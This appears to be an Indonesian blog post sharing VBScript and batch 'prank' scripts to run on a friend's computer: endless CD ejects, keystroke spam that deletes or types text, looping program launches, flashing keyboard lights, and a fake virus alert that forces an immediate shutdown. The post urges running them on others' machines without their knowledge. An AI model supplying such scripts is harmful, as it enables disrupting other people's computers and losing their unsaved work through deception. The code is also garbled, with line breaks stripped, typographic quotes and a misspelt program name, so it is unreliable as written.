JAHILI TEMAN DENGAN NOTEPAD

hallo,agan-agan kali ini saya akan membagikan Kumpulan script berbahaya untuk ngerjai temanmu, Bagi agan yang punya teman yang keseringan Online, bisa agan kerjain dia dengan script ini. Jangan khawatir jika agan-agan pikir cara ini "Terbelit-belit sebenar nya cara ini cukup simpel Tidak perlu download Software atau download apalah, Hanya perlu Copy-Paste Script nya saja. Dari pada panjang lebar lebih baik Langsung sajaaa........



Cara nya : Copy Script dibawah ini - pastekan di Notepad - save dengan type 'all file' di akhir nama file tambahkan dengan '.vbs' (tanpa tanda kutip) contoh: Jebakan.vbs tulisan yang berwarna merah itu nama file nya (terserah agan) dan yang biru itu jenis file nya (tidak boleh dirubah '.vbs' nya)

1.Mengeject CD-Drive terus menerus

Set oWMP = CreateObject(“WMPlayer.OCX.7″)Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 5000loop

2.Tombol Enter terus menerus

Set wshShell = wscript.CreateObject(“WScript.Shell”)dowscript.sleep 100wshshell.sendkeys “~(enter)”loop 

3.Pesan Lambat Notepad “Hello, how are you? I am good thanks!” 

WScript.Sleep 180000

WScript.Sleep 10000Set WshShell = WScript.CreateObject(“WScript.Shell”)WshShell.Run “notepad”WScript.Sleep 100WshShell.AppActivate “Notepad”WScript.Sleep 500WshShell.SendKeys “Hel”WScript.Sleep 500WshShell.SendKeys “lo ”WScript.Sleep 500WshShell.SendKeys “, ho”WScript.Sleep 500WshShell.SendKeys “w a”WScript.Sleep 500WshShell.SendKeys “re ”WScript.Sleep 500WshShell.SendKeys “you”WScript.Sleep 500WshShell.SendKeys “? ”WScript.Sleep 500WshShell.SendKeys “I a”WScript.Sleep 500WshShell.SendKeys “m g”WScript.Sleep 500WshShell.SendKeys “ood”WScript.Sleep 500WshShell.SendKeys ” th”WScript.Sleep 500WshShell.SendKeys “ank”WScript.Sleep 500WshShell.SendKeys “s! “

4.Backspace

MsgBox “Maaf, Anda Harus Mengulang Kembali”Set wshShell =wscript.CreateObject(“WScript.Shell”)dowscript.sleep 100wshshell.sendkeys “{bs}”loop

5.Membuka Kalkulator terus Menerus

@ECHO off:topSTART %SystemRoot%\system32\cacl.exeGOTO top

6.Keyboard Rusak

Set wshShell = wscript.CreateObject(“WScript.Shell”)

dowscript.sleep 100wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”loop

7.Shutdown PC

@echo offmsg * Komputer Anda Terinfeksi Virusshutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

8.Lampu Keyboard Berdisco

Set wshShell =wscript.CreateObject("WScript.Shell")
dowscript.sleep 100wshshell.sendkeys "{CAPSLOCK}"wshshell.sendkeys "{NUMLOCK}"wshshell.sendkeys "{SCROLLLOCK}"loop
or
Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 200wshshell.sendkeys "{CAPSLOCK}"wscript.sleep 100wshshell.sendkeys "{NUMLOCK}"wscript.sleep 50wshshell.sendkeys "{SCROLLLOCK}"loop